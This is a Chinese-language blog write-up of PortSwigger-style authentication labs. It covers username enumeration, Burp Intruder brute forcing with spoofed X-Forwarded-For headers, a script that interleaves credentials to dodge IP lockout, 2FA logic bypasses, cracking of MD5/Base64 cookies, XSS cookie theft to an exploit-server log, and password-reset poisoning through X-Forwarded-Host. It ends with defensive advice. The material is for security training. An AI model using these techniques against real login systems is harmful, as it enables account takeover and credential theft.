身份验证漏洞

实验:通过不同响应枚举用户名

通过枚举暴力破解 在暴力破解的过程中注意不同于寻常的状态码和响应长度

先在http请求中将login发送至repeter

在repeter中将该请求发送至intruder中进行暴力破解的矩阵攻击

给用户名打上变量 通过实验中提供的字典粘贴至payload设置的简单列表中

之后开始攻击 寻找不同于寻常反应的长度变量 3354:am就是我们需要的用户名

然后将用户名改成am,将密码改成变量,重复以上操作找到状态码不同于寻常反应的302,这就是我们需要的密码monkey

返回登录页面输入已知值

实验室:通过略有不同的响应进行用户名枚举

这个实验只有用户名的获取方式和之前有些不同 而密码的获取方式还是和之前一样

但是这题设置的相对强硬一点 方法还是有的

通过对响应原文的比较找出不同 并且使用到新的方法"检索-提取"

通过比较可以发现"Invalid username or password"和"Invalid username or password."的区别仅仅在最后的符号上

最后还是一样的密码检索步骤

实验:通过响应时间枚举用户名

这题要伪造IP 并暴力搜索出用户名和密码

和刚开始一样 将攻击链接发送到intruder 但是这次我们选择交叉攻击(需要多个payload集) 分别是ip地址(X-Forwarded-For)的payload和用户名&密码的payload

这里我们要注意尽量将密码的字数往上提一些 这样能更好区别用户名的响应时间

数据集为101个 因为我们的用户名字典的数目也是101个

第二个payload就是粘贴一下用户名爆破的字典即可

之后就可以开始攻击了

打开响应时间 我们可以注意到as400这个用户名的响应时间明显慢于其它的用户名 这就是我们需要的用户名

这里我们知道了用户名后就能去找密码了 密码还是和之前一样是找302 这里放一下

这样就算破解成功了

实验室:破解暴力破解保护,IP地址被屏蔽

这个 Lab 的漏洞逻辑就是:

服务器按照"连续失败次数"限制 IP,但成功登录自己的账号可以重置失败计数器。

交叉攻击就不说了 因为上一个实验已经练习过了如何交叉攻击

把并发设置为1

Maximum concurrent requests = 1

因为 Carlos 连续失败 3 次,IP 可能已经被封了

根据漏洞逻辑和已有的账户密码 我们可以将字典进行修改 每尝试破解两次便重新登录自己的账户来清楚失败计数器

将字典粘贴至passwords.txt后运行python代码将正确的用户名和密码进行交叉

复制代码
with open("passwords.txt", "r") as f:
    passwords = [pwd.strip() for pwd in f]

print("用户名列表:")

for i in range(0,50,1):
    print("wiener")
    print("carlos")
    print("carlos")

print("\n密码列表:")

for i in range(0, len(passwords), 2):
    print("peter")

    print(passwords[i])

    if i + 1 < len(passwords):
        print(passwords[i + 1])

得到交叉后的用户名与密码后进入burpsuit修改并发的最大值

之后便是如同其它实验一样开始攻击了 放下图片供参考

找到了最后的答案

实验:通过帐户锁定枚举用户名

这个题目是比较关键的题目 涉及到如何寻找正确的用户名 用户名爆破 看response猜测正确密码

题目流程图(我会单独开一篇博客介绍 为何要使用Cluster bomb来确定用户名)

复制代码
                  POST /login
                       │
                       ↓
             ┌──────────────────┐
             │ 第一阶段          │
             │ 找真实用户名       │
             └──────────────────┘
                       │
                       ↓
                Cluster bomb
                       │
          ┌────────────┴────────────┐
          ↓                         ↓
      Username                 Null payload
      字典                     重复5次
          │                         │
          └────────────┬────────────┘
                       ↓
              admin × 5
              test × 5
              carlos × 5
              user × 5
                       │
                       ↓
             查看 Response Length
                       │
                       ↓
       找到异常响应 / 锁定错误信息
                       │
                       ↓
               真实用户名
                 carlos
                       │
                       ↓
             ┌──────────────────┐
             │ 第二阶段          │
             │ 找正确密码        │
             └──────────────────┘
                       │
                       ↓
                    Sniper
                       │
                       ↓
               username=carlos
               password=§xxx§
                       │
                       ↓
                  密码字典
                       │
                       ↓
          123456 / password / qwerty...
                       │
                       ↓
                Grep - Extract
                       │
                       ↓
             找没有错误信息的响应
                       │
                       ↓
                  正确密码
                       │
                       ↓
                等待账户解锁
                       │
                       ↓
             carlos + 正确密码
                       │
                       ↓
                  登录成功

Cluster bomb 是什么?

简单理解:

两个 Payload 位置互相组合。

比如:

复制代码
username = A
password = 1

username = A
password = 2

username = A
password = 3

username = B
password = 1

username = B
password = 2

username = B
password = 3

如果:

复制代码
用户名 3 个
密码 5 个

那么:

复制代码
3 × 5 = 15

次请求。

所以 Cluster bomb 非常适合:

用户名 + 密码组合爆破

为什么第二个 Payload 是 Null payload

可以理解成:

什么都不修改,只重复发送请求。

因为网站有:

登录失败次数限制 / Account Lockout

比如服务器逻辑类似:

复制代码
第一次密码错误 → 正常错误

第二次密码错误 → 正常错误

第三次密码错误 → 正常错误

第四次密码错误 → 正常错误

第五次密码错误 → 账户锁定

于是:

用户名不存在

复制代码
admin

可能得到:

复制代码
Invalid username or password.

即使请求 5 次,也不会锁定。

已经弄清楚了最令人疑惑的地方了 现在就可以开始进行实操了

第一个payload还是和之前的实验相同 复制粘贴用户名即可

但第二个就得使用新的 null payload 并将其settings改成生成5个

寻找长度变化中最长的一条响应记录

You have made too many incorrect login attempts. Please try again in 1 minute(s).

这个就是我们需要的用户名了

之后便是按照之前实操的步骤开始寻找密码

先进行攻击 攻击之后在这里将响应中的错误信息发送至grep-extract提取所有请求的错误信息

在错误信息中 我们发现除了空格的响应有空格外 还有一个密码是响应的空格 说明这正是我们需要的密码

现在就已经获得了账户和密码了

实验室:2FA 简单绕过

刚拿到这个题目有点懵 但是看了下解释就明白了什么是2FA简单绕过了

就相当于没有给验证码的系统附上session 当用户通过用户名和密码直接登录以后可以不需要验证码获取session 而my-account这个路径也不需要检验session就可以直接访问 构成了最简单的2FA简单绕过

说了这么多 我们现在直接实操 并附上流程图

复制代码
攻击者
  │
  │ victim 用户名 + 密码
  ↓
POST /login
  │
  │ 密码正确
  ↓
建立 Session
  │
  ↓
进入 /2fa
  │
  │ ❌ 不输入验证码
  │
  │ 直接修改 URL
  ↓
GET /my-account
  │
  ↓
服务器只检查 Session
  │
  │ Session 有效 ✓
  ↓
返回 victim 账户

真正的漏洞点:

复制代码
             应该检查
                 ↓
       ┌──────────────────┐
       │ Password verified│ ✓
       │ 2FA verified     │ ✗
       └──────────────────┘
                 ↓
             /my-account

实际却变成:

复制代码
       ┌──────────────────┐
       │ Session exists   │ ✓
       └──────────────────┘
                 ↓
             /my-account

实验室:双因素认证逻辑失效

这就是这个 Lab 最核心的漏洞。

服务器本来应该建立这种关系:

复制代码
Session A
   ↓
wiener
   ↓
只能验证
   ↓
wiener 的 MFA

但是服务器错误地设计成:

复制代码
Session A
   ↓
POST /login2
   ↓
verify=???
   ↓
服务器按照 verify 找用户

所以:

复制代码
Session A
   +
verify=carlos
   +
正确的 Carlos MFA
   ↓
Carlos 登录成功

也就是说:

"谁正在登录"和"验证码属于谁"之间没有被服务器牢固绑定。

也就出现了以下情况 将wiener的session删除(当然包括;)然后将verify的值改成carlos 我们重定向可以发现我们绕过了第一次需要密码登录的界面 直接来到了需要验证码的界面 这里才是刚刚开始的重点

通过这个巨大的漏洞 我们可以对验证码进行爆破

开始攻击 并寻找302响应的payload

这就是我们最后需要的mfa-code 然后回到repeter重新发送请求获取session

在这里我有一个误区 我一直以为这里获得的session是和刚才第一次登录wiener时获取得到session是一样的 是需要在请求中使用的session 其实不然 这里获得的session在本文中没有任何使用方法 而我们也从始至终无法获得carlos的第一次登录时需要的session 因为通过漏洞的原理 我们绕过了第一次需要的session直接将认证的wiener改成了carlos 然后就是最关键的一个特点"验证码被使用一次后会刷新" 所以当我们暴力破解得到验证码后 我们需要去到第一次登录后的页面将用户认证的wiener改成carlos 然后输入我们的验证码即可成功破解此题

这题也是非常好的题目 在这个实验中我们用到了burpsuit的编码工具、crackstation的解码、利用找到的规则对cookie进行爆破

从登录wiener中获取cookie 然后破解其构成规则

因为wiener的密码是peter

将其复制到burpsuit的编码工具中可以获得wiener:51dc30ddc473d43a6011e9ebba6ca770,并将冒号后的字符串复制到crackstation解码,如此便得知cookie的构成是由{username:base64(password)}

在http请求中找到以下请求 将其发送到intruder 为什么我们要选用这个my-account的路径呢?因为这个路径是根据用户名以及其保留的cookie认证登录成功 也就说我们想要carlos登录成功从需要密码变成了可以一直不停请求后台的cookie 算是半离线

根据上述的cookie的构成规则 我们便可以对cookie进行暴力破解 只需要对密码加上规则 让其成为cookie的形式再赋值进行盲测(当然这里的密码是由实验提供的字典)

因为Burp Suite 的 Payload Processing 规则是严格按照从上到下的顺序依次执行的,前一个规则的输出会成为后一个规则的输入。所以上一个图片是错误的

目标是:

复制代码
Base64(username + ":" + MD5(password))

假设:

复制代码
username = carlos
password = abc123

那么正确的计算过程必须是:

复制代码
abc123
  ↓ MD5
e99a18c428cb38d5f260853678922e03
  ↓ Add prefix "carlos:"
carlos:e99a18c428cb38d5f260853678922e03
  ↓ Base64 encode
Y2FybG9zOmU5OWExOGM0MjhjYjM4ZDVmMjYwODUzNjc4OTIyZTAz

所以在 Burp 的 Payload processing 中应该是:

复制代码
1. Hash → MD5
2. Add prefix → carlos:
3. Encode → Base64-encode

也就是:

复制代码
Payload
   ↓
MD5
   ↓
Add prefix
   ↓
Base64

这样就能成功获得我们需要的cookie了

实验室:离线密码破解

我们先登录wiener:peter去寻找一些可以尝试攻击的漏洞

通过这个登录响应 我们发现session有httponly 但是cookie却没有 说明我们可以通过获取cookie的手段达到登录目标账号并注销

因为这期是博客 在博客中我们发现有评论功能 一般我们可以测试评论功能是否存在xss攻击

在评论内容中输入<script>alert(1)</script> 提交后返回原始页面 发现的确响应了 说明的确存在xss的攻击漏洞

进入博客 我们通过注入脚本来观察攻击网址的log来查看被害人的cookie

在这里我们一定得用单引号去括住攻击网址 不然无法成功(语法逃逸)

可以把 XSS 理解成"语法逃逸"

这是我觉得最重要的理解方式。

比如服务器:

复制代码
<div>USER_INPUT</div>

你就在:

复制代码
HTML text context

里面。

但如果是:

复制代码
<input value="USER_INPUT">

你是在:

复制代码
HTML attribute context

里面。

如果是:

复制代码
<script>
var username = 'USER_INPUT';
</script>

你是在:

复制代码
JavaScript string context

里面。

三个地方虽然都是:

复制代码
USER_INPUT

但是破解方法完全不同

进入log 我们可以找到我们需要的cookie

得到这个cookie就很简单了 我们直接上编码工具的一套流程解开它真实的密码

拿到密码后 注销账户就很容易了

实验室:密码重置逻辑故障

这个实验就比较简单了 通过burpsuit请求查看密码重置的http请求 发送到repeter 对用户名做出更改即可 也就是说这个密码重置系统根据用户名即可做出更改

现实中应该如下防护

正确的逻辑应该是:

复制代码
收到 token
   ↓
查数据库/缓存
   ↓
Token 是否存在?
   ↓
是否属于这个用户?
   ↓
是否过期?
   ↓
是否已经使用?
   ↓
全部通过
   ↓
允许修改密码

实验室:通过中间件进行密码重置投毒攻击

在这里获取攻击的重定向网站 为后续浏览攻击日志

向受害发送忘记密码 当受害人点击url时会被窃取token并发送至access log中

获取到token后便可以通过重置密码的系统 将wiener的token更换成carlos的token 这样就可以变相的将carlos的密码进行重置的操作

① 正常情况下

Carlos 请求重置密码:

复制代码
POST /forgot-password
username=carlos

服务器生成:

复制代码
https://victim.com/forgot-password?temp-forgot-password-token=ABC123

然后发邮件给 Carlos:

复制代码
Click here to reset your password

所以:

复制代码
ABC123

只会出现在 Carlos 收到的邮件链接里。


② 现在攻击者加了 X-Forwarded-Host

你发送:

复制代码
POST /forgot-password

X-Forwarded-Host: YOUR-EXPLOIT-SERVER.exploit-server.net

username=carlos

漏洞服务器可能做了类似这样的事情:

复制代码
生成密码重置 URL
        ↓
读取 Host
        ↓
https://[Host]/forgot-password?token=ABC123

正常应该使用:

复制代码
victim.com

但服务器错误地相信了:

复制代码
X-Forwarded-Host

于是生成:

复制代码
https://YOUR-EXPLOIT-SERVER.exploit-server.net/forgot-password?token=ABC123

这一步才是整个漏洞的根源。


③ Carlos 收到邮件

Carlos 收到的邮件实际上变成了:

复制代码
Reset your password

https://YOUR-EXPLOIT-SERVER.exploit-server.net/forgot-password?temp-forgot-password-token=ABC123

注意:

Carlos 并不知道这是攻击者控制的域名。

如果邮件模板只是显示:

复制代码
Reset password

他看到的可能只是一个普通的"重置密码"按钮。

于是 Carlos 点击。


④ 点击以后,浏览器真的访问了你的服务器

Carlos 的浏览器:

复制代码
GET /forgot-password?temp-forgot-password-token=ABC123
Host: YOUR-EXPLOIT-SERVER.exploit-server.net

这个 HTTP 请求首先到达:

复制代码
攻击者服务器

所以你的访问日志自然会记录:

复制代码
GET /forgot-password?temp-forgot-password-token=ABC123

于是:

复制代码
Carlos
  ↓
点击邮件中的链接
  ↓
浏览器访问攻击者服务器
  ↓
攻击者服务器看到完整 URL
  ↓
URL 中包含 Token
  ↓
攻击者获得 Token

实验:通过更改密码进行密码暴力破解

我一开始想的是通过三个相同的密码 如果通过即可证明当前密码是正确的 但是尝试后才发现 只会得到302的响应 无法分辨出哪个才是正确的密码

我们通过wiener尝试 只有当第一个密码正确 第二个和第三个密码错误且互不相同时会报New password do not match 这就是最好的不同点和响应点

如果密码不正确就会直接报Current password is incorrect

将响应发送到burpsuit 开始inruder 将密码字典粘贴至payload

检索-提取

找到我们需要的密码

防止对自身身份验证机制的攻击

请妥善保管用户凭据

即使是最强大的身份验证机制,如果您不小心将有效的登录凭据泄露给了攻击者,也会失效。毋庸置疑,您绝不应该通过未加密的连接发送任何登录数据。即使您已经为登录请求实施了 HTTPS,也务必强制执行此操作,将所有尝试的 HTTP 请求也重定向到 HTTPS。

您还应该审核您的网站,以确保没有用户名或电子邮件地址通过公开可访问的个人资料泄露,或者反映在 HTTP 响应中。

不要指望用户来保障安全。

严格的身份验证措施通常会给用户带来额外的负担。但人性使然,一些用户总会想方设法逃避这些麻烦。因此,您需要尽可能地强制用户采取安全措施。

最明显的例子就是实施有效的密码策略。一些传统的密码策略之所以失效,是因为人们会强行将自己容易被猜到的密码塞进策略中。相比之下,实施一个简单的密码检查器可能更有效,它允许用户尝试不同的密码,并实时提供密码强度反馈。Dropboxzxcvbn开发的 JavaScript 库就是一个流行的例子。通过只允许使用密码检查器评级高的密码,您可以比传统策略更有效地强制用户使用安全密码。

防止用户名枚举

如果你泄露了某个用户在系统中的存在,攻击者就更容易破解你的身份验证机制。在某些情况下,由于网站的特殊性质,知道某个人拥有账户本身就是一种敏感信息。

无论尝试输入的用户名是否有效,都必须使用相同的通用错误消息,并确保它们完全一致。每次登录请求都应返回相同的 HTTP 状态码,并且尽可能使不同场景下的响应时间保持一致。

实施强大的暴力破解保护

鉴于构建暴力破解攻击非常简单,因此采取措施防止或至少干扰任何暴力破解登录的尝试至关重要。

更有效的方法之一是实施严格的基于 IP 的用户速率限制。这应包括采取措施防止攻击者篡改其显示的 IP 地址。理想情况下,应要求用户在达到一定次数限制后,每次登录尝试都必须完成验证码测试。

请记住,这并不能完全消除暴力破解的威胁。但是,尽可能地增加破解过程的繁琐性和手动操作性,可以提高潜在攻击者放弃并转而寻找更容易攻击的目标的可能性。

仔细检查你的验证逻辑

正如我们的实验室所证明的,简单的逻辑缺陷很容易潜入代码中,而对于身份验证而言,这些缺陷有可能彻底危及您的网站和用户安全。彻底审核所有验证逻辑以消除缺陷,是实现稳健身份验证的关键。最终,可以被绕过的检查与完全不检查并无本质区别。

别忘了补充功能

切勿只关注中心登录页面而忽略与身份验证相关的其他功能。这一点在攻击者可以自由注册账户并探索这些功能的情况下尤为重要。请记住,密码重置或更改与主登录机制一样,都是有效的攻击面,因此必须同样安全可靠。

实施适当的多因素身份验证

虽然多因素身份验证可能并不适用于所有网站,但如果使用得当,它比仅基于密码的登录方式要安全得多。请记住,验证同一因素的多个实例并非真正的多因素身份验证。通过电子邮件发送验证码本质上只是一种更繁琐的单因素身份验证形式。

基于短信的双因素认证技术实际上验证了两个因素(您知道的信息和您拥有的物品)。然而,例如通过SIM卡交换等手段进行滥用的可能性意味着该系统可能不可靠。

理想情况下,双因素身份验证应该使用专用设备或应用程序来实现,这些设备或应用程序可以直接生成验证码。由于它们是专门为提供安全保障而设计的,因此通常更安全。

最后,就像主身份验证逻辑一样,确保你的 2FA 检查逻辑是合理的,这样就不容易被绕过。

相关推荐
Bruce_Liuxiaowei15 小时前
2026年9月第2周网络安全形势周报
网络·安全·web安全·网络安全·漏洞评级
XLYcmy17 小时前
面向安全领域决策的大型语言模型漏洞价值评估对齐机制与智能化评级系统研发 研究方向与核心内容
网络安全·llm·sft·cve·cot·对齐·漏洞检测
是逍遥子没错20 小时前
一个斜杠,击穿整座网关:API网关路径前缀绕过认证实战
运维·服务器·web安全·网络安全·渗透测试·系统安全
木卫四科技20 小时前
7 分钟、90 分钟、24 小时:漏洞管理的时间尺度已经崩塌
网络安全·智能体安全
anqianqi1231 天前
上网行为监控系统怎么落地:上网行为监控软件能管哪几件事
运维·安全·网络安全·电脑
数据知道1 天前
密钥管理(KMS)——轮换、分级、HSM 硬件安全模块
网络安全·密码学·哈希算法
huaqisafty2 天前
网络赌博治安治理难点解析
网络安全·华企盾·社会治安治理·网赌赌博治理
顾城猿2 天前
zk‑SNARK 三者结合的完整工作原理
网络安全
数据知道2 天前
国密算法实战——SM2/SM3/SM4 在国产系统中的应用
网络·算法·安全·网络安全·密码学·哈希算法